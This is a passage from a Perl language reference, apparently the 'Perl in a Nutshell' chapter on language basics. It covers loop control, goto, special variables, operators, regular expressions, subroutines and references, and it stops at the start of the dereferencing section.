The syntax for the loop-control commands is:
last label
next label
redo label
If the label is omitted, the loop-control command refers to the innermost enclosing loop.

The last command is like the break statement in C (as used in loops); it immediately exits the loop in question. The continue block, if any, is not executed.

The next command is like the continue statement in C; it skips the rest of the current iteration and starts the next iteration of the loop. If there is a continue block on the loop, it is always executed just before the conditional is about to be evaluated again.

The redo command restarts the loop block without evaluating the conditional again. The continue block, if any, is not executed.

4.3.1.6 goto

Perl supports a goto command. There are three forms: goto label, goto expr, and goto &name.

The goto label form finds the statement labeled with label and resumes execution there. It may not be used to go inside any construct that requires initialization, such as a subroutine or a foreach loop.

The goto expr form expects the expression to return a label name.

The goto &name form substitutes a call to the named subroutine for the currently running subroutine.

Previous: 4.2 Data Types and Variables | Perl in a Nutshell | Next: 4.4 Special Variables
4.2 Data Types and Variables | Book Index | 4.4 Special Variables


[Chapter 4] 4.4 Special Variables

Perl in a Nutshell

Perl in a NutshellSearch this book

4.4 Special Variables

Some variables have a predefined and special meaning in Perl. They are the variables that use punctuation characters after the usual variable indicator ($, @, or %), such as $_. The explicit, long-form names shown are the variables' equivalents when you use the English module by including "use English;" at the top of your program.

4.4.1 Global Special Variables

The most commonly used special variable is $_, which contains the default input and pattern-searching string. For example, in the following lines:

foreach ('hickory','dickory','doc') {
    print;
}
The first time the loop is executed, "hickory" is printed. The second time around, "dickory" is printed, and the third time, "doc" is printed. That's because in each iteration of the loop, the current string is placed in $_, and is used by default by print. Here are the places where Perl will assume $_ even if you don't specify it:

  • Various unary functions, including functions like ord and int, as well as the all file tests (-f, -d) except for -t, which defaults to STDIN.

  • Various list functions like print and unlink.

  • The pattern-matching operations m//, s///, and tr/// when used without an =~ operator.

  • The default iterator variable in a foreach loop if no other variable is supplied.

  • The implicit iterator variable in the grep and map functions.

  • The default place to put an input record when a line-input operation's result is tested by itself as the sole criterion of a while test (i.e., <filehandle>). Note that outside of a while test, this will not happen.

The following is a complete listing of global special variables:

$_
$ARG

The default input and pattern-searching space.

$.
$INPUT_LINE_NUMBER

$NR

The current input line number of the last filehandle that was read. An explicit close on the filehandle resets the line number.

$/
$INPUT_RECORD_SEPARATOR

$RS

The input record separator; newline by default. If set to the null string, it treats blank lines as delimiters.

$,
$OUTPUT_FIELD_SEPARATOR

$OFS

The output field separator for the print operator.

$\
$OUTPUT_RECORD_SEPARATOR
$ORS

The output record separator for the print operator.

$
$LIST_SEPARATOR

Like "$," except that it applies to list values interpolated into a double-quoted string (or similar interpreted string). Default is a space.

$;
$SUBSCRIPT_SEPARATOR
$SUBSEP

The subscript separator for multidimensional array emulation. Default is "\034".

$^L
$FORMAT_FORMFEED

What a format outputs to perform a formfeed. Default is "\f".

$:
$FORMAT_LINE_BREAK_CHARACTERS

The current set of characters after which a string may be broken to fill continuation fields (starting with ^) in a format. Default is "\n"".

$^A
$ACCUMULATOR

The current value of the write accumulator for format lines.

$#
$OFMT

Contains the output format for printed numbers (deprecated).

$?
$CHILD_ERROR

The status returned by the last pipe close, backtick (``) command, or system operator.

$!
$OS_ERROR
$ERRNO

If used in a numeric context, yields the current value of the errno variable, identifying the last system call error. If used in a string context, yields the corresponding system error string.

$@
$EVAL_ERROR

The Perl syntax error message from the last eval command.

$$
$PROCESS_ID
$PID

The pid of the Perl process running this script.

$<
$REAL_USER_ID
$UID

The real user ID (uid) of this process.

$>
$EFFECTIVE_USER_ID
$EUID

The effective uid of this process.

$(
$REAL_GROUP_ID
$GID

The real group ID (gid) of this process.

$)
$EFFECTIVE_GROUP_ID
$EGID

The effective gid of this process.

$0
$PROGRAM_NAME

Contains the name of the file containing the Perl script being executed.

$[

The index of the first element in an array and of the first character in a substring. Default is 0.

$]
$PERL_VERSION

Returns the version plus patchlevel divided by 1000.

$^D
$DEBUGGING

The current value of the debugging flags.

$^E
$EXTENDED_OS_ERROR

Extended error message on some platforms.

$^F
$SYSTEM_FD_MAX

The maximum system file descriptor, ordinarily 2.

$^H

Contains internal compiler hints enabled by certain pragmatic modules.

$^I
$INPLACE_EDIT

The current value of the inplace-edit extension. Use undef to disable inplace editing.

$^M

The contents of $M can be used as an emergency memory pool in case Perl dies with an out-of-memory error. Use of $M requires a special compilation of Perl. See the INSTALL document for more information.

$^O
$OSNAME

Contains the name of the operating system that the current Perl binary was compiled for.

$^P
$PERLDB

The internal flag that the debugger clears so that it doesn't debug itself.

$^T
$BASETIME

The time at which the script began running, in seconds since the epoch.

$^W
$WARNING

The current value of the warning switch, either true or false.

$^X
$EXECUTABLE_NAME

The name that the Perl binary itself was executed as.

$ARGV

Contains the name of the current file when reading from <ARGV>.

4.4.2 Global Special Arrays and Hashes

@ARGV

The array containing the command-line arguments intended for the script.

@INC

The array containing the list of places to look for Perl scripts to be evaluated by the do, require, or use constructs.

@F

The array into which the input lines are split when the -a command-line switch is given.

%INC

The hash containing entries for the filename of each file that has been included via do or require.

%ENV

The hash containing your current environment.

%SIG

The hash used to set signal handlers for various signals.

4.4.3 Global Special Filehandles

ARGV

The special filehandle that iterates over command line filenames in @ARGV. Usually written as the null filehandle in <>.

STDERR

The special filehandle for standard error in any package.

STDIN

The special filehandle for standard input in any package.

STDOUT

The special filehandle for standard output in any package.

DATA

The special filehandle that refers to anything following the __END__ token in the file containing the script. Or, the special filehandle for anything following the __DATA__ token in a required file, as long as you're reading data in the same package __DATA__ was found in.

_ (underscore)

The special filehandle used to cache the information from the last stat, lstat, or file test operator.

4.4.4 Global Special Constants

__END__

Indicates the logical end of your program. Any following text is ignored, but may be read via the DATA filehandle.

__FILE__

Represents the filename at the point in your program where it's used. Not interpolated into strings.

__LINE__

Represents the current line number. Not interpolated into strings.

__PACKAGE__

Represents the current package name at compile time, or undefined if there is no current package. Not interpolated into strings.

4.4.5 Regular Expression Special Variables

For more information on regular expressions, see Section 4.6, "Regular Expressions" later in this chapter.

$digit

Contains the text matched by the corresponding set of parentheses in the last pattern matched. For example, $1 matches whatever was contained in the first set of parentheses in the previous regular expression.

$&
$MATCH

The string matched by the last successful pattern match.

$`
$PREMATCH

The string preceding whatever was matched by the last successful pattern match.

$'
$POSTMATCH

The string following whatever was matched by the last successful pattern match.

$+
$LAST_PAREN_MATCH

The last bracket matched by the last search pattern. This is useful if you don't know which of a set of alternative patterns was matched. For example:

/Version: (.*)|Revision: (.*)/ && ($rev = $+);

4.4.6 Filehandle Special Variables

Most of these variables only apply when using formats. See Section 4.10, "Formats" later in this chapter.

$|

$OUTPUT_AUTOFLUSH

If set to nonzero, forces an fflush(3) after every write or print on the currently selected output channel.

$%

$FORMAT_PAGE_NUMBER

The current page number of the currently selected output channel.

$=

$FORMAT_LINES_PER_PAGE

The current page length (printable lines) of the currently selected output channel. Default is 60.

$-

$FORMAT_LINES_LEFT

The number of lines left on the page of the currently selected output channel.

$~

$FORMAT_NAME

The name of the current report format for the currently selected output channel. Default is the name of the filehandle.

$^

$FORMAT_TOP_NAME

The name of the current top-of-page format for the currently selected output channel. Default is the name of the filehandle with _TOP appended.

Previous: 4.3 Statements | Perl in a Nutshell | Next: 4.5 Operators
4.3 Statements | Book Index | 4.5 Operators


[Chapter 4] 4.5 Operators

Perl in a Nutshell

Perl in a NutshellSearch this book

4.5 Operators

Table 4-3 lists all the Perl operators from highest to lowest precedence and indicates their associativity.

Table 4.3: Perl Associativity and Operators, Listed by Precedence
Associativity | Operators
Left | Terms and list operators (leftward)
Left | -> (method call, dereference)
Nonassociative | ++ -- (autoincrement, autodecrement)
Right | ** (exponentiation)
Right | ! ~ \ and unary + and - (logical not, bit-not, reference, unary plus, unary minus)
Left | =~ !~ (matches, doesn't match)
Left | * / % x (multiply, divide, modulus, string replicate)
Left | + - . (addition, subtraction, string concatenation)
Left | << >> (left bit-shift, right bit-shift)
Nonassociative | Named unary operators and file-test operators
Nonassociative | < > <= >= lt gt le ge (less than, greater than, less than or equal to, greater than or equal to, and their string equivalents.
Nonassociative | == != <=> eq ne cmp (equal to, not equal to, signed comparison, and their string equivalents)
Left | & (bit-and)
Left | | ^ (bit-or, bit-xor)
Left | && (logical AND)
Left | || (logical OR)
Nonassociative | .. ... (range)
Right | ?: (ternary conditional)
Right | = += -= *= and so on (assignment operators)
Left | , => (comma, arrow comma)
Nonassociative | List operators (rightward)
Right | not (logical not)
Left | and (logical and)
Left | or xor (logical or, xor)

You can make your expressions clear by using parentheses to group any part of an expression. Anything in parentheses will be evaluated as a single unit within a larger expression.

With very few exceptions, Perl operators act upon scalar values only, not upon list values.

Terms that take highest precedence in Perl include variables, quote and quotelike operators, any expression in parentheses, and any function whose arguments are in parentheses.

A list operator is a function that can take a list of values as its argument. List operators take highest precedence when considering what's to the left of them. They have considerably lower precedence when looking at their right side, which is the expected result.

Also parsed as high-precedence terms are the do{} and eval{} constructs, as well as subroutine and method calls, the anonymous array and hash composers ([] and {}), and the anonymous subroutine composer sub{}.

A unary operator is a function that takes a single scalar value as its argument. Unary operators have a lower precedence than list operators because they only expect and take one value.

4.5.1 The Arrow Operator

The arrow operator is a dereference operator. It can be used for references to arrays, hashes, code references, or for calling methods on objects. See the discussion of references in Chapter 7, Packages, Modules, and Objects.

4.5.2 Unary Operators

Unary ! performs logical negation, that is, "not." The not operator is a lower-precedence version of !.

Unary - performs arithmetic negation if the operand is numeric. If the operand is an identifier, then a string consisting of a minus sign concatenated with the identifier is returned. Otherwise, if the string starts with a plus or minus, a string starting with the opposite sign is returned.

Unary ~ performs bitwise negation, that is, one's complement. For example, on a 32-bit machine, ~0xFF is 0xFFFFFF00. If the argument to ~ is a string instead of a number, a string of identical length is returned, but with all the bits of the string complemented.

Unary + has no semantic effect whatsoever, even on strings. It is syntactically useful for separating a function name from a parenthesized expression that would otherwise be interpreted as the complete list of function arguments.

Unary \ creates a reference to whatever follows it (see "References and Complex Data Structures" later in this chapter). Do not confuse this behavior with the behavior of backslash within a string. The \ operator may also be used on a parenthesized list value in a list context, in which case it returns references to each element of the list.

4.5.3 Arithmetic Operators

Binary ** is the exponentiation operator. Note that it binds even more tightly than unary minus, so -2**4 is -(2**4), not (-2)**4. Note also that ** has right associativity, so:

$e = 2 ** 3 ** 4;
evaluates to 2 to the 81st power, not 8 to the 4th power.

The * (multiply) and / (divide) operators work exactly as you might expect, multiplying or dividing their two operands. Division is done in floating-point mode, unless integer mode in enabled (via use integer).

The % (modulus) operator converts its operands to integers before finding the remainder according to integer division. For the same operation in floating-point mode, you may prefer to use the fmod() function from the POSIX module (see Chapter 8).

4.5.4 Comparison Operators

4.5.4.1 Relational operators

Perl has two classes of relational operators. One class operates on numeric values, and the other operates on string values. String comparisons are based on the ASCII collating sequence. Relational operators are nonassociative, so $a < $b < $c is a syntax error.

Numeric | String | Meaning
> | gt | Greater than
>= | ge | Greater than or equal to
< | lt | Less than
<= | le | Less than or equal to

4.5.4.2 Equality operators

The equal and not-equal operators return 1 for true, and "" for false (just as the relational operators do). The <=> and cmp operators return -1 if the left operand is less than the right operand, 0 if they are equal, and +1 if the left operand is greater than the right.

Numeric | String | Meaning
== | eq | Equal to
!= | ne | Not equal to
<=> | cmp | Comparison, with signed result

4.5.5 Autoincrement and Autodecrement

If placed before a variable, the ++ and -- operators increment or decrement the variable before returning the value, and if placed after, they increment or decrement the variable after returning the value.

4.5.6 Assignment Operators

Perl recognizes the following operators for assigning a value to a variable:

=    **=    +=    *=    &=    <<=    &&=
            -=    /=    |=    >>=    ||=
            .=    %=    ^=
                  x=
Each operator requires a variable on the left side and some expression on the right side. For the simple assignment operator, =, the value of the expression is stored into the designated variable. For the other operators, Perl evaluates the expression:
$var OP= $value
as if it were written:
$var = $var OP $value
except that $var is evaluated only once. For example:
$a += 2; # same as $a = $a + 2

4.5.7 Pattern Match Operators

Binary =~ binds a scalar expression to a pattern match, substitution, or translation. These operations search or modify the string $_ by default.

Binary !~ is just like =~ except the return value is negated in the logical sense. The following expressions are functionally equivalent:

$string !~ /pattern/
not $string =~ /pattern/
See Section 4.6" later in this chapter.

4.5.8 File Test Operators

A file test operator is a unary operator that tests a filename or a filehandle.

Operator | Meaning
-r | File is readable by effective uid/gid.
-w | File is writable by effective uid/gid.
-x | File is executable by effective uid/gid.
-o | File is owned by effective uid.
-R | File is readable by real uid/gid.
-W | File is writable by real uid/gid.
-X | File is executable by real uid/gid.
-O | File is owned by real uid.
-e | File exists.
-z | File has zero size.
-s | File has non-zero size (returns size).
-f | File is a plain file.
-d | File is a directory.
-l | File is a symbolic link.
-p | File is a named pipe (FIFO).
-S | File is a socket.
-b | File is a block special file.
-c | File is a character special file.
-t | Filehandle is opened to a tty.
-u | File has setuid bit set.
-g | File has setgid bit set.
-k | File has sticky bit set.
-T | File is a text file.
-B | File is a binary file (opposite of -T).
-M | Age of file (at startup) in days since modification.
-A | Age of file (at startup) in days since last access.
-C | Age of file (at startup) in days since inode change.

4.5.9 Logical Operators

Perl provides the && (logical AND) and || (logical OR) operators. They evaluate from left to right testing the truth of the statement.

Example | Name | Result
$a && $b | And | $a if $a is false, $b otherwise
$a || $b | Or | $a if $a is true, $b otherwise

For example, an oft-appearing idiom in Perl programs is:

open(FILE, "somefile") || die "Cannot open somefile: $!\n";
In this case, Perl first evaluates the open function. If the value is true (because somefile was successfully opened), the execution of the die function is unnecessary and is skipped.

Perl also provides lower-precedence and and or operators that are more readable.

4.5.10 Bitwise Operators

Perl has bitwise AND, OR, and XOR (exclusive OR) operators: &, |, and ^. These operators work differently on numeric values than they do on strings. If either operand is a number, then both operands are converted to integers, and the bitwise operation is performed between the two integers. If both operands are strings, these operators do bitwise operations between corresponding bits from the two strings.

4.5.11 Miscellaneous Operators

4.5.11.1 Range operator

The .. range operator is really two different operators depending on the context. In a list context, it returns a list of values counting (by ones) from the left value to the right value.

In a scalar context, .. returns a Boolean value. It is false as long as its left operand is false. Once the left operand is true, the range operator stays true until the right operand is true, after which the range operator becomes false again. The right operand is not evaluated while the operator is in the false state, and the left operand is not evaluated while the operator is in the true state.

The alternate version of this operator, ..., does not test the right operand immediately when the operator becomes true; it waits until the next evaluation.

4.5.11.2 Conditional operator

Ternary ?: is the conditional operator. It works much like an if-then-else statement, but it can safely be embedded within other operations and functions.

test_expr ? if_true_expr : if_false_expr
If the test_expr is true, only the if_true_expr is evaluated. Otherwise, only the if_false_expr is evaluated. Either way, the value of the evaluated expression becomes the value of the entire expression.

4.5.11.3 Comma operator

In a list context, "," is the list argument separator and inserts both its arguments into the list. In scalar context, "," evaluates its left argument, throws that value away, then evaluates its right argument and returns that value.

The => operator is mostly just a synonym for the comma operator. It's useful for documenting arguments that come in pairs. It also forces any identifier to the left of it to be interpreted as a string.

4.5.11.4 String operator

The concatenation operator "." is used to add strings together:

print 'abc' . 'def';        # prints abcdef
print $a . $b;              # concatenates the string values of $a and $b
Binary x is the string repetition operator. In scalar context, it returns a concatenated string consisting of the left operand repeated the number of times specified by the right operand.
print '-' x 80;                           # prints row of dashes
print "\t" x ($tab/8), ' ' x ($tab%8);    # tabs over
In list context, if the left operand is a list in parentheses, the x works as a list replicator rather than a string replicator. This is useful for initializing all the elements of an array of indeterminate length to the same value:
@ones = (1) x 80;           # a list of 80 1s
@ones = (5) x @ones;        # set all elements to 5

Previous: 4.4 Special Variables | Perl in a Nutshell | Next: 4.6 Regular Expressions
4.4 Special Variables | Book Index | 4.6 Regular Expressions


[Chapter 4] 4.6 Regular Expressions

Perl in a Nutshell

Perl in a NutshellSearch this book

4.6 Regular Expressions

Regular expressions are used several ways in Perl. They're used in conditionals to determine whether a string matches a particular pattern. They're also used to find patterns in strings and replace the match with something else.

The ordinary pattern match operator looks like /pattern/. It matches against the $_ variable by default. If the pattern is found in the string, the operator returns true ("1"); if there is no match, a false value ("") is returned.

The substitution operator looks like s/pattern/replace/. This operator searches $_ by default. If it finds the specified pattern, it is replaced with the string in replace. If pattern is not matched, nothing happens.

You may specify a variable other than $_ with the =~ binding operator (or the negated !~ binding operator, which returns true if the pattern is not matched). For example:

$text =~ /sampo/;

4.6.1 Pattern-Matching Operators

The following list defines Perl's pattern-matching operators. Some of the operators have alternative "quoting" schemes and have a set of modifiers that can be placed directly after the operators to affect the match operation in some way.

m/pattern/gimosx

Searches a string for a pattern match. Modifiers are:

Modifier | Meaning
g

Match globally, i.e., find all occurrences.

i | Do case-insensitive pattern matching.
m | Treat string as multiple lines.
o

Only compile pattern once.

s | Treat string as single line.
x | Use extended regular expressions.

If / is the delimiter, then the initial m is optional. With the m, you can use any pair of non-alphanumeric, non-whitespace characters as delimiters.

?pattern?

This operator is just like the m/pattern/ search, except it matches only once.

qr/pattern/imosx

Creates a precompiled regular expression from pattern, which can be passed around in variables and interpolated into other regular expressions. The modifiers are the same as those for m// above.

s/pattern/replacement/egimosx

Searches a string for pattern, and replaces any match with the replacement text. Returns the number of substitutions made, which can be more than one with the /g modifier. Otherwise, it returns false (0). If no string is specified via the =~ or !~ operator, the $_ variable is searched and modified. Modifiers are:

Modifier | Meaning
e | Evaluate the right side as an expression.
g | Replace globally, i.e., all occurrences.
i | Do case-insensitive pattern matching.
m | Treat string as multiple lines.
o | Only compile pattern once.
s | Treat string as single line.
x | Use extended regular expressions.

Any non-alphanumeric, non-whitespace delimiter may replace the slashes. If single quotes are used, no interpretation is done on the replacement string (the /e modifier overrides this, however).

tr/pattern1/pattern2/cds
y/pattern1/pattern2/cds

This operator scans a string, character by character, and replaces all occurrences of the characters found in pattern1 with the corresponding character in pattern2. It returns the number of characters replaced or deleted. If no string is specified via the =~ or !~ operator, the $_ string is translated. Modifiers are:

Modifier | Meaning
c | Complement pattern1.
d | Delete found but unreplaced characters.
s | Squash duplicate replaced characters.

4.6.2 Regular Expression Syntax

The simplest kind of regular expression is a literal string. More complicated patterns involve the use of metacharacters to describe all the different choices and variations that you want to build into a pattern. Metacharacters don't match themselves, but describe something else. The metacharacters are:

Metacharacter | Meaning
\ | Escapes the character(s) immediately following it
. | Matches any single character except a newline (unless /s is used)
^ | Matches at the beginning of the string (or line, if /m used)
$ | Matches at the end of the string (or line, if /m used)
* | Matches the preceding element 0 or more times
+ | Matches the preceding element 1 or more times
? | Matches the preceding element 0 or 1 times
{...} | Specifies a range of occurrences for the element preceding it
[...] | Matches any one of the class of characters contained within the brackets
(...) | Groups regular expressions
| | Matches either the expression preceding or following it

The "." (single dot) is a wildcard character. When used in a regular expression, it can match any single character. The exception is the newline character (\n), except when you use the /s modifier on the pattern match operator. This modifier treats the string to be matched against as a single "long" string with embedded newlines.

The ^ and $ metacharacters are used as anchors in a regular expression. The ^ matches the beginning of a line. This character should only appear at the beginning of an expression to match the line beginning. The exception to this is when the /m (multi-line) modifier is used, in which case it will match at the beginning of the string and after every newline (except the last, if there is one). Otherwise, ^ will match itself, unescaped, anywhere in a pattern, except if it is the first character in a bracketed character class, in which case it negates the class.

Similarly, $ will match the end of a line (just before a newline character) only if it is at the end of a pattern, unless /m is used, in which case it matches just before every newline and at the end of a string. You need to escape $ to match a literal dollar sign in all cases, because if $ isn't at the end of a pattern (or placed right before a ) or ]), Perl will attempt to do variable interpretation. The same holds true for the @ sign, which Perl will interpret as an array variable start unless it is backslashed.

The *, +, and ? metacharacters are called quantifiers. They specify the number of times to match something. They act on the element immediately preceding them, which could be a single character (including the .), a grouped expression in parentheses, or a character class. The {...} construct is a generalized modifier. You may put two numbers separated by a comma within the braces to specify minimum and maximum numbers that the preceding element can match.

Parentheses are used to group characters or expressions. They also have the side effect of remembering what they matched so you can recall and reuse patterns with a special group of variables.

The | is the alternation operator in regular expressions. It matches either what's on its left side or right side. It does not only affect single characters. For example:

/you|me|him|her/
looks for any of the four words. You should use parentheses to provide boundaries for alternation:
/And(y|rew)/
This will match either "Andy" or "Andrew".

4.6.3 Escaped Sequences

The following table lists the backslashed representations of characters that you can use in regular expressions:

Code | Matches
\a | Alarm (beep)
\n | Newline
\r | Carriage return
\t | Tab
\f | Formfeed
\e | Escape
\007 | Any octal ASCII value
\x7f | Any hexadecimal ASCII value
\cx | Control-x

4.6.4 Character Classes

The [...] construct is used to list a set of characters (a character class) of which one will match. Brackets are often used when capitalization is uncertain in a match:

/[tT]here/
A dash (-) may be used to indicate a range of characters in a character class:
/[a-zA-Z]/;  # match any single letter
/[0-9]/;     # match any single digit
To put a literal dash in the list you must use a backslash before it (\-).

By placing a ^ as the first element in the brackets, you create a negated character class, i.e., it matches any character not in the list. For example:

/[^A-Z]/; matches any character other than an uppercase letter
Some common character classes have their own predefined escape sequences for your programming convenience:

Code | Matches
\d | A digit, same as [0-9]
\D | A nondigit, same as [^0-9]
\w | A word character (alphanumeric), same as [a-zA-Z_0-9]
\W | A nonword character, [^a-zA-Z_0-9]
\s | A whitespace character, same as [\t\n\r\f]
\S | A non-whitespace character, [^\t\n\r\f]

These elements match any single element in (or not in) their class. A \w matches only one character of a word. Using a modifier, you can match a whole word, for example, with \w+. The abbreviated classes may also be used within brackets as elements of other character classes.

4.6.5 Anchors

Anchors don't match any characters; they match places within a string. The two most common anchors are ^ and $, which match the beginning and end of a line, respectively. This table lists the anchoring patterns used to match certain boundaries in regular expressions:

Assertion | Meaning
^ | Matches at the beginning of the string (or line, if /m used)
$ | Matches at the end of the string (or line, if /m used)
\b | Matches at word boundary (between \w and \W)
\B | Matches except at word boundary
\A | Matches at the beginning of the string
\Z | Matches at the end of the string or before a newline
\z | Matches only at the end of the string
\G | Matches where previous m//g left off

The $ and \Z assertions can match not only at the end of the string, but also one character earlier than that, if the last character of the string happens to be a newline.

4.6.6 Quantifiers

Quantifiers are used to specify how many instances of the previous element can match. For instance, you could say "match any number of a's, including none" (a*), or match between five and ten instances of the word "owie" ((owie){5,10}).

Quantifiers, by nature, are greedy. That is, the way the Perl regular expression "engine" works is that it will look for the biggest match possible (the farthest to the right) unless you tell it not to. Say you are searching a string that reads:

a whatever foo, b whatever foo
and you want to find a and foo with something in between. You might use:
/a.*foo/
A . followed by a * looks for any character, any number of times, until foo is found. But since Perl will look as far to the right as possible to find foo, the first instance of foo is swallowed up by the greedy .* expression.

All the quantifiers therefore have a notation that allows for minimal matching, so they are non-greedy. This notation uses a question mark immediately following the quantifier to force Perl to look for the earliest available match (farthest to the left). The following table lists the regular expression quantifiers and their non-greedy forms:

Maximal | Minimal | Allowed Range
{n,m} | {n,m}? | Must occur at least n times but no more than m times
{n,} | {n,}? | Must occur at least n times
{n} | {n}? | Must match exactly n times
* | *? | 0 or more times (same as {0,})
+ | +? | 1 or more times (same as {1,})
? | ?? | 0 or 1 time (same as {0,1})

4.6.7 Pattern Match Variables

Parentheses not only serve to group elements in a regular expression, they also remember the patterns they match. Every match from a parenthesized element is saved to a special, read-only variable indicated by a number. You can recall and reuse a match by using these variables.

Within a pattern, each parenthesized element saves its match to a numbered variable, in order starting with 1. You can recall these matches within the expression by using \1, \2, and so on.

Outside of the matching pattern, the matched variables are recalled with the usual dollar-sign, i.e., $1, $2, etc. The dollar sign notation should used in the replacement expression of a substitution and anywhere else you might want to use them in your program. For example, to implement "i before e, except after c":

s/([^c])ei/$1ie/g;
The backreferencing variables are:

$+

Returns the last parenthesized pattern match

$&

Returns the entire matched string

$`

Returns everything before the matched string

$'

Returns everything after the matched string

Backreferencing with these variables will slow down your program noticeably for all regular expressions.

4.6.8 Extended Regular Expressions

Perl defines an extended syntax for regular expressions. The syntax is a pair of parentheses with a question mark as the first thing within the parentheses. The character after the question mark gives the function of the extension. The extensions are:

(?#text)

A comment. The text is ignored.

(?:...)

This groups things like "(...)" but doesn't make backreferences.

(?=...)

A zero-width positive lookahead assertion. For example, /\w+(?=\t)/ matches a word followed by a tab, without including the tab in $&.

(?!...)

A zero-width negative lookahead assertion. For example, /foo(?!bar)/ matches any occurrence of "foo" that isn't followed by "bar".

(?<=...)

A zero-width positive lookbehind assertion. For example, /(?<=bad)boy/ matches the word boy that follows bad, without including bad in $&. This only works for fixed-width lookbehind.

(?<!=...)

A zero-width negative lookbehind assertion. For example, /(?<!=bad)boy/ matches any occurrence of "boy" that doesn't follow "bad". This only works for fixed-width lookbehind.

(?>...)

Matches the substring that the standalone pattern would match if anchored at the given position.

(?(condition)yes-pattern|no-pattern)
(?(condition)yes-pattern)

Matches a pattern determined by a condition. The condition should be either an integer, which is "true" if the pair of parentheses corresponding to the integer has matched, or a lookahead, lookbehind, or evaluate, zero-width assertion. The no-pattern will be used to match if the condition was not meant, but it is also optional.

(?imsx-imsx)

One or more embedded pattern-match modifiers. Modifiers are switched off if they follow a - (dash). The modifiers are defined as follows:

Modifier | Meaning
i | Do case-insensitive pattern matching
m | Treat string as multiple lines
s | Treat string as single line
x | Use extended regular expressions

Previous: 4.5 Operators | Perl in a Nutshell | Next: 4.7 Subroutines
4.5 Operators | Book Index | 4.7 Subroutines


[Chapter 4] 4.7 Subroutines

Perl in a Nutshell

Perl in a NutshellSearch this book

4.7 Subroutines

Subroutines are declared using one of these forms:

sub name {block}
sub name (proto) {block}
Prototypes allow you to put constraints on the arguments you provide to your subroutines.

You can also create anonymous subroutines at run-time, which will be available for use through a reference:

$subref = sub {block};

4.7.1 Calling Subroutines

The ampersand (&) is the identifier used to call subroutines. Most of the time, however, subroutines can be used in an expression just like built-in functions. To call subroutines directly:

name(args);                  # & is optional with parentheses
name args;                   # Parens optional if predeclared/imported
&name;                       # Passes current @_ to subroutine
To call subroutines indirectly (by name or by reference):
&$subref(args);                 # & is not optional on indirect call
&$subref;                       # Passes current @_ to subroutine

4.7.2 Passing Arguments

All arguments to a subroutine are passed as a single, flat list of scalars, and return values are returned the same way. Any arrays or hashes passed in these lists will have their values interpolated into the flattened list.

Any arguments passed to a subroutine come in as the array @_.

You may use the explicit return statement to return a value and leave the subroutine at any point.

4.7.3 Passing References

If you want to pass more than one array or hash into or out of a function and have them maintain their integrity, then you will want to pass references as arguments. The simplest way to do this is to take your named variables and put a backslash in front of them in the argument list:

@returnlist = ref_conversion(\@temps1, \@temps2, \@temps3);
This sends references to the three arrays to the subroutine (and saves you the step of creating your own named references to send to the function). The references to the arrays are passed to the subroutine as the three-member @_ array. The subroutine will have to dereference the arguments so that the data values may be used.

Returning references is a simple matter of returning scalars that are references. This way you can return distinct hashes and arrays.

4.7.4 Private and Local Variables

Any variables you use in the function that aren't declared private are global variables. In subroutines, you'll often want to use variables that won't be used anywhere else in your program, and you don't want them taking up memory when the subroutine is not being executed. You also might not want to alter variables in subroutines that might have the same name as global variables.

The my function declares variables that are lexically scoped within the subroutine. Lexically scoped variables are private variables that only exist within the block or subroutine in which they are declared. Outside of their scope, they are invisible and can't be altered in any way.

To scope multiple variables at once, use a list in parentheses. You can also assign a variable in a my statement:

my @list = (44, 55, 66);
my $cd = "orb";
Dynamic variables are visible to other subroutines called from within their scope. Dynamic variables are defined with local, and they are not private variables, but rather they are global variables with temporary values. When a subroutine is executed, the global value is hidden away, and the local value is used. Once the scope is exited, the original global value is used. Most of the time you will want to use my to localize parameters in a subroutine.

4.7.5 Prototypes

Prototypes allow you to design your subroutines to take arguments with constraints on the number of parameters and types of data. To declare a function with prototypes, use the prototype symbols in the declaration line, like this:

sub addem ($$) {
...
}
In this case, the function expects two scalar arguments. The following table gives the various prototype symbols:

Symbol | Meaning
$ | Scalar
@ | List
% | Hash
& | Anonymous subroutine
* | Typeglob

A backslash placed before one of these symbols forces the argument to be that exact variable type. For instance, a function that requires a hash variable would be declared like this:

sub hashfunc (\%);
Unbackslashed @ or % symbols act exactly alike, and will eat up all remaining arguments, forcing list context. A $ likewise forces scalar context on an argument, so taking an array or hash variable for that parameter would probably yield unwanted results.

A semicolon separates mandatory arguments from optional arguments. For example:

sub newsplit (\@$;$);
requires two arguments: an array variable and a scalar. The third scalar is optional. Placing a semicolon before @ and % is not necessary since lists can be null.

A typeglob prototype symbol (*) will always turn its argument into a reference to a symbol table entry. It is most often used for filehandles.

Previous: 4.6 Regular Expressions | Perl in a Nutshell | Next: 4.8 References and Complex Data Structures
4.6 Regular Expressions | Book Index | 4.8 References and Complex Data Structures


[Chapter 4] 4.8 References and Complex Data Structures

Perl in a Nutshell

Perl in a NutshellSearch this book

4.8 References and Complex Data Structures

A Perl reference is a fundamental data type that "points" to another piece of data or code. A reference knows the location of the information and what type of data is stored there.

A reference is a scalar and can be used anywhere a scalar can be used. Any array element or hash value can contain a reference (a hash key cannot contain a reference), and this is how nested data structures are built in Perl. You can construct lists containing references to other lists, which can contain references to hashes, and so on.

4.8.1 Creating References

You can create a reference to an existing variable or subroutine by prefixing it with a backslash:

$a = "fondue";
@alist = ("pitt", "hanks", "cage", "cruise");
%song = ("mother" => "crying", "brother" => "dying");
sub freaky_friday { s/mother/daughter/ }
# Create references
$ra = \$a;
$ralist = \@alist;
$rsong = \%song;
$rsub = \&freaky_friday; # '&' required for subroutine names
References to scalar constants are created similarly:
$pi = \3.14159;
$myname = \"Charlie";
Note that all references are prefixed by a $, even if they refer to an array or hash. All references are scalars, thus you can copy a reference to another scalar or even reference another reference:
$aref = \@names;
$bref = $aref;  # both refer to @names
$cref = \$aref; # $cref is a reference to $aref
Because arrays and hashes are collections of scalars, you can create references to individual elements by prefixing their names with backslashes:
$star = \$alist[2];       # refers to third element of @alist
$action = \$song{mother}; # refers to the 'mother' value of %song

4.8.1.1 Referencing anonymous data

It is also possible to take references to literal data not stored in a variable. This data is called anonymous because it is not bound to any named variable.

To create a reference to a scalar constant, simply backslash the literal string or number.

To create a reference to an anonymous array, place the list of values in square brackets:

$shortbread = [ "flour", "butter", "eggs", "sugar" ];
This creates a reference to an array, but the array is only available through the reference $shortbread.

A reference to an anonymous hash uses curly braces around the list of elements:

$cast =  { host     => "Space Ghost",
           musician => "Zorak",
           director => "Moltar" };

4.8.2 Dereferencing

